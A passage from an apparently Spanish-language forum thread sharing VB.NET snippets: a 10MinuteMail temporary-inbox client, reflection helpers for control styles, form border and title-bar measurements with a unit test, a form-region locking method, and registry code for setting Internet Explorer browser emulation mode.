Throw New NotSupportedException(String.Format("Unexpected response value: '{0}'", value))
End If
End SyncLock
End Sub
''' <summary>
''' Handles the calls from <see cref="TenMinuteMail.TimerUpdate"/>.
''' </summary>
''' <param name="state">
''' An object containing application-specific information relevant to the
''' method invoked by this delegate, or <see langword="Nothing"/>.
''' </param>
Protected Overridable Sub UpdateTimer_CallBack(ByVal state As Object)
If (Me.Client.IsBusy) Then
Exit Sub
End If
SyncLock (Me.Client)
Me.Renew()
Dim oldMsgCount As Integer = Me.messageCounter
Dim newMsgCount As Integer = Me.GetMessageCount()
If (newMsgCount > oldMsgCount) Then
Me.messageCounter = newMsgCount
Dim messages As IEnumerable(Of MailMessage) = Me.GetMessages()
For msgIndex As Integer = oldMsgCount To (newMsgCount - 1)
Me.OnMailMessageArrived(New MailMessageArrivedEventArgs(messages(msgIndex)))
Next msgIndex
End If
End SyncLock
End Sub
#End Region
#Region " Event Invocators "
''' <summary>
''' Raises the <see cref="TenMinuteMail.MailMessageArrived"/> event.
''' </summary>
''' <param name="e">
''' The <see cref="MailMessageArrivedEventArgs"/> instance containing the event data.
''' </param>
Protected Overridable Sub OnMailMessageArrived(ByVal e As MailMessageArrivedEventArgs)
If (Me.MailMessageArrivedEvent IsNot Nothing) Then
RaiseEvent MailMessageArrived(Me, e)
End If
End Sub
#End Region
#Region " IDisposable Implementation "
''' <summary>
''' Flag to detect redundant calls when disposing.
''' </summary>
Protected isDisposed As Boolean
''' <summary>
''' Releases all the resources used by this instance.
''' </summary>
<DebuggerStepThrough>
Public Sub Dispose() Implements IDisposable.Dispose
Me.Dispose(isDisposing:=True)
GC.SuppressFinalize(obj:=Me)
End Sub
''' <summary>
''' Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.
''' Releases unmanaged and, optionally, managed resources.
''' </summary>
''' <param name="isDisposing">
''' <see langword="True"/> to release both managed and unmanaged resources;
''' <see langword="False"/> to release only unmanaged resources.
''' </param>
Protected Overridable Sub Dispose(ByVal isDisposing As Boolean)
If Not (Me.isDisposed) AndAlso (isDisposing) Then
Me.MailMessageArrivedEvent = Nothing
Me.TimerUpdate.Dispose()
Me.TimerUpdate = Nothing
Me.Client.Dispose()
Me.Client = Nothing
Me.mailAddressB = Nothing
Me.messageCounter = 0
Me.isBlockedB = False
Me.uriAddress = Nothing
Me.uriBase = Nothing
Me.uriBlocked = Nothing
Me.uriMessageCount = Nothing
Me.uriMessages = Nothing
Me.uriReply = Nothing
Me.uriReset = Nothing
Me.uriSecondsLeft = Nothing
End If
Me.isDisposed = True
End Sub
#End Region
End Class
#End Region
MODO DE EMPLEOUn ejemplo simple para crear la dirección temporal y controlar la recepción de nuevos correos entrantes...
Imports System.Net.Mail
Imports System.Text
Public NotInheritable Class Form1
Private WithEvents TempMail As TenMinuteMail
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
Me.TempMail = New TenMinuteMail(TimeSpan.FromSeconds(10)) ' Set inbox notification interval to 10 sec.
Console.WriteLine(String.Format("Your 10MinuteMail Address: '{0}'", Me.TempMail.MailAddress.Address))
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Handles the <see cref="TenMinuteMail.MailMessageArrived"/> event of the <see cref="Form1.TempMail"/> object.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="sender">
''' The source of the event.
''' </param>
'''
''' <param name="e">
''' The <see cref="MailMessageArrivedEventArgs"/> instance containing the event data.
''' </param>
''' ----------------------------------------------------------------------------------------------------
Private Sub TempMail_MailMessageArrived(ByVal sender As Object, ByVal e As MailMessageArrivedEventArgs) _
Handles TempMail.MailMessageArrived
Dim sb As New StringBuilder()
With sb
.AppendLine()
.AppendLine("NEW MAIL MESSAGE ARRIVED")
.AppendLine("************************")
.AppendLine()
.AppendLine(String.Format("From...: {0}", e.MailMessage.From.Address))
.AppendLine(String.Format("To.....: {0}", String.Join(";", (From msg As MailAddress In e.MailMessage.To))))
.AppendLine(String.Format("Subject: {0}", e.MailMessage.Subject))
.AppendLine(String.Format("Msg.Id.: {0}", e.MailMessage.Headers("msgId")))
.AppendLine()
.AppendLine("-------BODY START-------")
.AppendLine(e.MailMessage.Body)
.AppendLine("-------BODY END---------")
End With
Console.WriteLine(sb.ToString())
End Sub
End ClassEn el ejemplo provisto, el formato a mostrar cuando se recibe un nuevo correo sería algo parecido a esto:
NEW MAIL MESSAGE ARRIVED
************************
From...: elektrostudios@elhacker.net
To.....: z421459@mvrht.net
Subject: Hello Sir.
Msg.Id.: 6443119781926234531
-------BODY START-------
Hello World!
<br />
<br />
-------BODY END---------nota: el cuerpo del mensaje se devuelve en formato HTML.
EDITO:Para responder a un e-mail simplemente deben usar el método
TenMinuteMail.Reply pasándole como argumento la instancia del mensaje al que quieren responder, o en su defecto un identificador de mensaje, el cual lo puede encontrar almacenado en la cabecera de un mensaje:
MailMessage.Headers("msgId")Saludos!
Un simple snippet donde se hace uso de Reflection para obtener los estilos de control aplicados en un tipo de control específico.
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the value of the specified control style bit for the specified control.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="ctrl">
''' The source <see cref="Control"/>.
''' </param>
'''
''' <param name="styles">
''' The <see cref="ControlStyles"/> bit to return the value from.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' <see langword="True"/> if the specified control style bit is set to <see langword="True"/>;
''' otherwise, <see langword="False"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
Public Shared Function GetControlStyle(ByVal ctrl As Control, ByVal styles As ControlStyles) As Boolean
Dim t As Type = ctrl.GetType()
Dim method As MethodInfo = t.GetMethod("GetStyle", BindingFlags.NonPublic Or BindingFlags.Instance)
Return CBool(method.Invoke(ctrl, {styles}))
End Function
Con esto podemos determinar, por ejemplo, si un control acepta transparencia:
dim value as boolean = GetControlStyle(Me.ListView1, ControlStyles.SupportsTransparentBackColor)
Otro snippet, para hacer lo opuesto, es decir, establecer el valor de un estilo de control:
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Sets a specified <see cref="ControlStyles"/> flag to
''' either <see langword="True"/> or <see langword="False"/> for the source control.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="ctrl">
''' The source <see cref="Control"/>.
''' </param>
'''
''' <param name="style">
''' The <see cref="ControlStyles"/> bit to set.
''' </param>
'''
''' <param name="value">
''' <see langword="True"/> to apply the specified style to the control; otherwise, <see langword="False"/>.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Sub SetControlStyle(ByVal ctrl As Control, ByVal style As ControlStyles, ByVal value As Boolean)
Dim t As Type = ctrl.GetType()
Dim method As MethodInfo = t.GetMethod("SetStyle", BindingFlags.NonPublic Or BindingFlags.Instance)
method.Invoke(ctrl, {style, value})
End Sub
Unas extensiones de método para obtener el ancho y alto del borde horizontal y vertical de un Form. Y también para obtener el tamaño de la barra de título (plus la opción de incluir el tamaño de los bordes de la ventana o no):
<HideModuleName>
Public Module FormExtensions
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the size of the vertical border (the border of the left or right edge) of the source <see cref="Form"/>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim verticalBorderSize As Size = GetVerticalBorderSize(Me)
''' Console.WriteLine(String.Format("Vertical Border Width = {0}", verticalBorderSize.Width))
''' Console.WriteLine(String.Format("Vertical Border Height = {0}", verticalBorderSize.Height))
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <param name="f">
''' The source <see cref="Form"/>.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The size of the vertical border (the border of the left or right edge) of the source <see cref="Form"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<Extension>
<EditorBrowsable(EditorBrowsableState.Always)>
<DebuggerStepThrough>
Public Function GetVerticalBorderSize(ByVal f As Form) As Size
Select Case f.FormBorderStyle
Case FormBorderStyle.None
Return Size.Empty
Case FormBorderStyle.Fixed3D
Return New Size(SystemInformation.FixedFrameBorderSize.Width + SystemInformation.Border3DSize.Width,
f.Height)
Case FormBorderStyle.FixedDialog, FormBorderStyle.FixedSingle, FormBorderStyle.FixedToolWindow
Return New Size(SystemInformation.FixedFrameBorderSize.Width,
f.Height)
Case Else
Return New Size(SystemInformation.FrameBorderSize.Width,
f.Height)
End Select
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the size of the horizontal border (the border of the top or bottom edge) of the source <see cref="Form"/>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim horizontalBorderSize As Size = GetHorizontalBorderSize(Me)
''' Console.WriteLine(String.Format("Horizontal Border Width = {0}", horizontalBorderSize.Width))
''' Console.WriteLine(String.Format("Horizontal Border Height = {0}", horizontalBorderSize.Height))
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <param name="f">
''' The source <see cref="Form"/>.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The size of the horizontal border (the border of the top or bottom edge) of the source <see cref="Form"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<Extension>
<EditorBrowsable(EditorBrowsableState.Always)>
<DebuggerStepThrough>
Public Function GetHorizontalBorderSize(ByVal f As Form) As Size
Select Case f.FormBorderStyle
Case FormBorderStyle.None
Return Size.Empty
Case FormBorderStyle.Fixed3D
Return New Size(f.Width,
SystemInformation.FixedFrameBorderSize.Height + SystemInformation.Border3DSize.Height)
Case FormBorderStyle.FixedDialog, FormBorderStyle.FixedSingle, FormBorderStyle.FixedToolWindow
Return New Size(f.Width,
SystemInformation.FixedFrameBorderSize.Height)
Case Else
Return New Size(f.Width,
SystemInformation.FrameBorderSize.Height)
End Select
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the titlebar bounds of the source <see cref="Form"/>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim titleBarBoundsWithBorders As Rectangle = GetTitleBarBounds(Me, includeBorderSizes:=True)
''' Console.WriteLine(String.Format("TitleBar Bounds (including borders) Width = {0}", titleBarBoundsWithBorders.Width))
''' Console.WriteLine(String.Format("TitleBar Bounds (including borders) Height = {0}", titleBarBoundsWithBorders.Height))
''' Console.WriteLine(String.Format("TitleBar Bounds (including borders) Pos. X = {0}", titleBarBoundsWithBorders.X))
''' Console.WriteLine(String.Format("TitleBar Bounds (including borders) Pos. Y = {0}", titleBarBoundsWithBorders.Y))
'''
''' Dim titleBarBoundsWithoutBorders As Rectangle = GetTitleBarBounds(Me, includeBorderSizes:=False)
''' Console.WriteLine(String.Format("TitleBar Bounds (not including borders) Width = {0}", titleBarBoundsWithoutBorders.Width))
''' Console.WriteLine(String.Format("TitleBar Bounds (not including borders) Height = {0}", titleBarBoundsWithoutBorders.Height))
''' Console.WriteLine(String.Format("TitleBar Bounds (not including borders) Pos. X = {0}", titleBarBoundsWithoutBorders.X))
''' Console.WriteLine(String.Format("TitleBar Bounds (not including borders) Pos. Y = {0}", titleBarBoundsWithoutBorders.Y))
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <param name="f">
''' The source <see cref="Form"/>.
''' </param>
'''
''' <param name="includeBorderSizes">
''' If <see langword="True"/>, the titlebar bounds will include the bounds of the top, left and right border edges.
''' <para></para>
''' If <see langword="False"/>, the titlebar bounds will NOT include the bounds of the top, left and right border edges.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The titlebar bounds (including the border sizes) of the source <see cref="Form"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<Extension>
<EditorBrowsable(EditorBrowsableState.Always)>
<DebuggerStepThrough>
Public Function GetTitleBarBounds(ByVal f As Form, ByVal includeBorderSizes As Boolean) As Rectangle
If (includeBorderSizes) Then
Select Case f.FormBorderStyle
Case FormBorderStyle.None
Return Rectangle.Empty
Case FormBorderStyle.Fixed3D
Return New Rectangle(New Point(0, 0),
New Size(f.Width, SystemInformation.CaptionHeight + SystemInformation.FixedFrameBorderSize.Height + SystemInformation.Border3DSize.Height))
Case FormBorderStyle.FixedToolWindow
Return New Rectangle(New Point(0, 0),
New Size(f.Width, SystemInformation.ToolWindowCaptionHeight + SystemInformation.FixedFrameBorderSize.Height))
Case FormBorderStyle.SizableToolWindow
Return New Rectangle(New Point(0, 0),
New Size(f.Width, SystemInformation.ToolWindowCaptionHeight + SystemInformation.FrameBorderSize.Height))
Case FormBorderStyle.FixedDialog, FormBorderStyle.FixedSingle
Return New Rectangle(New Point(0, 0),
New Size(f.Width, SystemInformation.CaptionHeight + SystemInformation.FixedFrameBorderSize.Height))
Case Else
Return New Rectangle(New Point(0, 0),
New Size(f.Width, SystemInformation.CaptionHeight + SystemInformation.FrameBorderSize.Height))
End Select
Else
Dim verticalBorderSize As Size = FormExtensions.GetVerticalBorderSize(f)
Dim horizontalBorderSize As Size = FormExtensions.GetHorizontalBorderSize(f)
Select Case f.FormBorderStyle
Case FormBorderStyle.None
Return Rectangle.Empty
Case FormBorderStyle.FixedToolWindow, FormBorderStyle.SizableToolWindow
Return New Rectangle(New Point(verticalBorderSize.Width, horizontalBorderSize.Height),
New Size(f.ClientRectangle.Width, SystemInformation.ToolWindowCaptionHeight))
Case Else
Return New Rectangle(New Point(verticalBorderSize.Width, horizontalBorderSize.Height),
New Size(f.ClientRectangle.Width, SystemInformation.CaptionHeight))
End Select
End If
End Function
End Module
Lo he probado con todos los tipos de estilos de form, y temas de terceros, parece funcionar correctamente en todos los casos, pero no descarto quizás haber cometido algún error en alguno de los cálculos de algún estilo de form, si encuentran algo me avisan.
Aquí les dejo un test de unidad que utilicé:
<TestMethod()>
Public Sub TestNonClientAreaMeasures()
Using f As New Form With {.Size = New Size(100, 100)}
For Each style As FormBorderStyle In [Enum].GetValues(GetType(FormBorderStyle))
Console.WriteLine(String.Format("Testing form border style: {0}", style.ToString()))
If (style = FormBorderStyle.None) Then
' Zero border size and no title bar, so nothing to do here.
Continue For
End If
f.FormBorderStyle = style
f.Show()
Dim titlebarBounds As Rectangle = FormExtensions.GetTitleBarBounds(f, True) ' includes border bounds.
Dim titlebarBoundsWitoutBorders As Rectangle = FormExtensions.GetTitleBarBounds(f, False) ' not includes border bounds.
Dim verticalBorderSize As Size = FormExtensions.GetVerticalBorderSize(f)
Dim horizontalBorderSize As Size = FormExtensions.GetHorizontalBorderSize(f)
Dim formSize As Size = f.Bounds.Size ' includes non-client size.
Dim formClientSize As Size = f.ClientRectangle.Size ' client size only.
Dim formNonClientSize As New Size((formSize.Width - formClientSize.Width), ' non-client size only.
(formSize.Height - formClientSize.Height))
Assert.AreEqual(formNonClientSize.Width, (verticalBorderSize.Width * 2),
Environment.NewLine & Environment.NewLine &
String.Format("Value of '{0} * 2' ({1}) and '{2}' ({3}) are not equal.",
"verticalBorderSize.Width", (verticalBorderSize.Width * 2),
"formNonClientSize.Width", formNonClientSize.Width))
Assert.AreEqual(formClientSize.Width, titlebarBoundsWitoutBorders.Width,
Environment.NewLine & Environment.NewLine &
String.Format("Value of '{0}' ({1}) and '{2}' ({3}) are not equal.",
"titlebarBoundsWitoutBorders.Width", titlebarBoundsWitoutBorders.Width,
"formClientSize.Width", formClientSize.Width))
Assert.AreEqual(formSize.Width, titlebarBounds.Width,
Environment.NewLine & Environment.NewLine &
String.Format("Value of '{0}' ({1}) and '{2}' ({3}) are not equal.",
"titlebarBounds.Width", titlebarBounds.Width,
"formSize.Width", formSize.Width))
Assert.AreEqual(titlebarBounds.Height, (titlebarBoundsWitoutBorders.Height + horizontalBorderSize.Height),
Environment.NewLine & Environment.NewLine &
String.Format("Sum of '{0} + {1}' ({2}) and '{3}' ({4}) are not equal.",
"titlebarBoundsWitoutBorders.Height", "horizontalBorderSize.Height",
(titlebarBoundsWitoutBorders.Height + horizontalBorderSize.Height),
"titlebarBounds.Height", titlebarBounds.Height))
Assert.AreEqual(formSize.Height, formClientSize.Height + titlebarBoundsWitoutBorders.Height + (horizontalBorderSize.Height * 2),
Environment.NewLine & Environment.NewLine &
String.Format("Sum of '{0} + {1} + ({2} * 2)' ({3}) and '{4}' ({5}) are not equal.",
"formClientSize.Height", "titlebarBoundsWitoutBorders.Height", "horizontalBorderSize.Height",
formClientSize.Height + titlebarBoundsWitoutBorders.Height + (horizontalBorderSize.Height * 2),
"formSize.Height", formSize.Height))
Assert.AreEqual(formNonClientSize.Height, (titlebarBounds.Height + horizontalBorderSize.Height),
Environment.NewLine & Environment.NewLine &
String.Format("Sum of '{0} + {1}' ({2}) and '{3}' ({4}) are not equal.",
"titlebarBounds.Height", "horizontalBorderSize.Height",
(titlebarBounds.Height + horizontalBorderSize.Height),
"formNonClientSize.Height", formNonClientSize.Height))
f.Hide()
Next style
End Using
End Sub
Este método sirve para 'bloquear' la región visible de un Form, a los límites visibles de los controles hijos. El resultado es un Form con un fondo invisible y los controles visibles. Añadí una sobrecarga para poder especificar el tipo de control.
IMPORTANTE: este código utiliza las extensiones de método del módulo FormExtensions que compartí en este comentario más arriba... así que no se olviden de copiar ese código.
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Locks the window region of the specified <see cref="Form"/> to the bounds of its child controls.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' LockFormRegionToControls(Me)
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <param name="f">
''' The source <see cref="Form"/>.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="NotImplementedException">
''' </exception>
''' ----------------------------------------------------------------------------------------------------
Public Shared Sub LockFormRegionToControls(ByVal f As Form)
LockFormRegionToControls(Of Control)(f)
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Locks the window region of the specified <see cref="Form"/> to the bounds of its child controls
''' of the specified <see cref="Type"/>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' LockFormRegionToControls(Of Button)(Me)
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <typeparam name="T">
''' The <see cref="Type"/> of control.
''' </typeparam>
'''
''' <param name="f">
''' The source <see cref="Form"/>.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="NotImplementedException">
''' </exception>
''' ----------------------------------------------------------------------------------------------------
Public Shared Sub LockFormRegionToControls(Of T As Control)(ByVal f As Form)
Select Case f.FormBorderStyle
Case FormBorderStyle.FixedToolWindow, FormBorderStyle.SizableToolWindow
Throw New NotImplementedException()
Case Else
Dim vBorderSize As Size = FormExtensions.GetVerticalBorderSize(f)
Dim tbBounds As Rectangle = FormExtensions.GetTitleBarBounds(f, includeBorderSizes:=True)
Dim rects As IEnumerable(Of Rectangle) =
(From ctrl As T In f.Controls.OfType(Of T)()
Order By f.Controls.GetChildIndex(ctrl) Ascending
Select ctrl.Bounds)
Using rgn As New Region(New Rectangle(0, 0, f.Width, f.Height))
rgn.MakeEmpty()
For Each rect As Rectangle In rects
rgn.Union(rect)
Next rect
rgn.Translate(vBorderSize.Width, tbBounds.Height)
If (f.Region IsNot Nothing) Then
f.Region.Dispose()
End If
f.Region = rgn
End Using
End Select
End Sub
Un código simple y sencillo para obtener o establecer el modo de emulación de Internet Explorer en nuestra aplicación o para otra aplicación.
EDITO: código corregido, y refactorizado.
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Specifies a Internet Explorer browser emulation mode.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' <see href="https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/general-info/ee330730(v=vs.85)"/>
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
Public Enum IEBrowserEmulationMode As Integer
''' <summary>
''' Webpages containing standards-based !DOCTYPE directives are displayed in IE7 Standards mode.
''' </summary>
IE7 = 7000
''' <summary>
''' Webpages containing standards-based !DOCTYPE directives are displayed in IE8 mode.
''' </summary>
IE8 = 8000
''' <summary>
''' Webpages are displayed in IE8 Standards mode, regardless of the declared !DOCTYPE directive.
''' <para></para>
''' Failing to declare a !DOCTYPE directive causes the page to load in Quirks.
''' </summary>
IE8Standards = 8888
''' <summary>
''' Webpages containing standards-based !DOCTYPE directives are displayed in IE9 mode.
''' </summary>
IE9 = 9000
''' <summary>
''' Webpages are displayed in IE9 Standards mode, regardless of the declared !DOCTYPE directive.
''' <para></para>
''' Failing to declare a !DOCTYPE directive causes the page to load in Quirks.
''' </summary>
IE9Standards = 9999
''' <summary>
''' Webpages containing standards-based !DOCTYPE directives are displayed in IE10 Standards mode.
''' </summary>
IE10 = 10000
''' <summary>
''' Webpages are displayed in IE10 Standards mode, regardless of the !DOCTYPE directive.
''' </summary>
IE10Standards = 10001
''' <summary>
''' Webpages containing standards-based !DOCTYPE directives are displayed in IE11 edge mode.
''' </summary>
IE11 = 11000
''' <summary>
''' Webpages are displayed in IE11 edge mode, regardless of the declared !DOCTYPE directive.
''' <para></para>
''' Failing to declare a !DOCTYPE directive causes the page to load in Quirks.
''' </summary>
IE11Edge = 11001
End Enum
+
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Specifies a registry scope (a root key).
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public Enum RegistryScope As Integer
''' <summary>
''' This refers to the HKEY_LOCAL_MACHINE (or HKLM) registry root key.
''' <para></para>
''' Configuration changes made on the subkeys of this root key will affect all users.
''' </summary>
Machine = 0
''' <summary>
''' This refers to the HKEY_CURRENT_USER (or HKCU) registry root key.
''' <para></para>
''' Configuration changes made on the subkeys of this root key will affect only the current user.
''' </summary>
CurrentUser = 1
End Enum
+
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets or sets the Internet Explorer browser emulation mode for the current application.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <seealso href="https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/general-info/ee330730(v=vs.85)"/>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example to get, set and verify the IE browser emulation mode for the current process.
''' <code>
''' Dim scope As RegistryScope = RegistryScope.CurrentUser
''' Dim oldMode As IEBrowserEmulationMode
''' Dim newMode As IEBrowserEmulationMode
'''
''' oldMode = BrowserEmulationMode(scope)
''' BrowserEmulationMode(scope) = IEBrowserEmulationMode.IE11Edge
''' newMode = BrowserEmulationMode(scope)
'''
''' Console.WriteLine(String.Format("Old Mode: {0} ({1})", oldMode, CStr(oldMode)))
''' Console.WriteLine(String.Format("New Mode: {0} ({1})", newMode, CStr(newMode)))
'''
''' Dim f As New Form() With {.Size = New Size(1280, 720)}
''' Dim wb As New WebBrowser With {.Dock = DockStyle.Fill}
''' f.Controls.Add(wb)
''' f.Show()
''' wb.Navigate("http://www.whatversion.net/browser/")
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <param name="scope">
''' The registry scope.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The Internet Explorer browser emulation mode.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public Shared Property BrowserEmulationMode(ByVal scope As RegistryScope) As IEBrowserEmulationMode
<DebuggerStepThrough>
Get
Return AppUtil.GetIEBrowserEmulationMode(Process.GetCurrentProcess().ProcessName, scope)
End Get
<DebuggerStepThrough>
Set(value As IEBrowserEmulationMode)
AppUtil.SetIEBrowserEmulationMode(Process.GetCurrentProcess().ProcessName, scope, value)
End Set
End Property
+
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the Internet Explorer browser emulation mode for the specified process.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <seealso href="https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/general-info/ee330730(v=vs.85)"/>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim processName As String = Process.GetCurrentProcess().ProcessName
''' Dim scope As RegistryScope = RegistryScope.CurrentUser
''' Dim mode As IEBrowserEmulationMode = GetIEBrowserEmulationMode(processName, scope)
'''
''' Console.WriteLine(String.Format("Mode: {0} ({1})", mode, CStr(mode)))
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <param name="processName">
''' The process name (eg. 'cmd.exe').
''' </param>
'''
''' <param name="scope">
''' The registry scope.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The resulting <see cref="IEBrowserEmulationMode"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="NotSupportedException">
''' </exception>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Function GetIEBrowserEmulationMode(ByVal processName As String, ByVal scope As RegistryScope) As IEBrowserEmulationMode
processName = Path.GetFileNameWithoutExtension(processName)
Using rootKey As RegistryKey = If(scope = RegistryScope.CurrentUser,
RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Default),
RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Default)),
subKey As RegistryKey = rootKey.CreateSubKey("Software\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION",
RegistryKeyPermissionCheck.ReadSubTree)
Dim value As Integer =
CInt(subKey.GetValue(String.Format("{0}.exe", processName), 0, RegistryValueOptions.None))
' If no browser emulation mode is retrieved from registry, then return default version for WebBrowser control.
If (value = 0) Then
Return IEBrowserEmulationMode.IE7
End If
If [Enum].IsDefined(GetType(IEBrowserEmulationMode), value) Then
Return DirectCast(value, IEBrowserEmulationMode)
Else
Throw New NotSupportedException(String.Format("Unrecognized browser emulation version: {0}", value))
End If
End Using
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the Internet Explorer browser emulation mode for the specified process.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <seealso href="https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/general-info/ee330730(v=vs.85)"/>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim p As Process = Process.GetCurrentProcess()
''' Dim scope As RegistryScope = RegistryScope.CurrentUser
''' Dim mode As IEBrowserEmulationMode = GetIEBrowserEmulationMode(p, scope)
'''
''' Console.WriteLine(String.Format("Mode: {0} ({1})", mode, CStr(mode)))
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <param name="p">
''' The process.
''' </param>
'''
''' <param name="scope">
''' The registry scope.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The resulting <see cref="IEBrowserEmulationMode"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="NotSupportedException">
''' </exception>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Function GetIEBrowserEmulationMode(ByVal p As Process, ByVal scope As RegistryScope) As IEBrowserEmulationMode
Return AppUtil.GetIEBrowserEmulationMode(p.ProcessName, scope)
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Sets the Internet Explorer browser emulation mode for the specified process.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <seealso href="https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/general-info/ee330730(v=vs.85)"/>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim processName As String = Process.GetCurrentProcess().ProcessName
''' Dim scope As RegistryScope = RegistryScope.CurrentUser
''' Dim oldMode As IEBrowserEmulationMode
''' Dim newMode As IEBrowserEmulationMode
'''
''' oldMode = GetIEBrowserEmulationMode(processName, scope)
''' SetIEBrowserEmulationMode(processName, scope, IEBrowserEmulationMode.IE11Edge)
''' newMode = GetIEBrowserEmulationMode(processName, scope)
'''
''' Console.WriteLine(String.Format("Old Mode: {0} ({1})", oldMode, CStr(oldMode)))
''' Console.WriteLine(String.Format("New Mode: {0} ({1})", newMode, CStr(newMode)))
'''
''' Dim f As New Form() With {.Size = New Size(1280, 720)}
''' Dim wb As New WebBrowser With {.Dock = DockStyle.Fill}
''' f.Controls.Add(wb)
''' f.Show()
''' wb.Navigate("http://www.whatversion.net/browser/")
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <param name="processName">
''' The process name (eg. 'cmd.exe').
''' </param>
'''
''' <param name="scope">
''' The registry scope.
''' </param>
'''
''' <param name="mode">
''' The Internet Explorer browser emulation mode to set.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="NotSupportedException">
''' </exception>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Sub SetIEBrowserEmulationMode(ByVal processName As String, ByVal scope As RegistryScope, ByVal mode As IEBrowserEmulationMode)
processName = Path.GetFileNameWithoutExtension(processName)
Dim currentIEBrowserEmulationMode As IEBrowserEmulationMode = GetIEBrowserEmulationMode(processName, scope)
If (currentIEBrowserEmulationMode = mode) Then
Exit Sub
End If
Using rootKey As RegistryKey = If(scope = RegistryScope.CurrentUser,
RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Default),
RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Default)),
regKey As RegistryKey = rootKey.CreateSubKey(
"Software\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION",
RegistryKeyPermissionCheck.ReadWriteSubTree)
regKey.SetValue(String.Format("{0}.exe", processName),
DirectCast(mode, Integer), RegistryValueKind.DWord)
End Using
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Sets the Internet Explorer browser emulation mode for the specified process.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
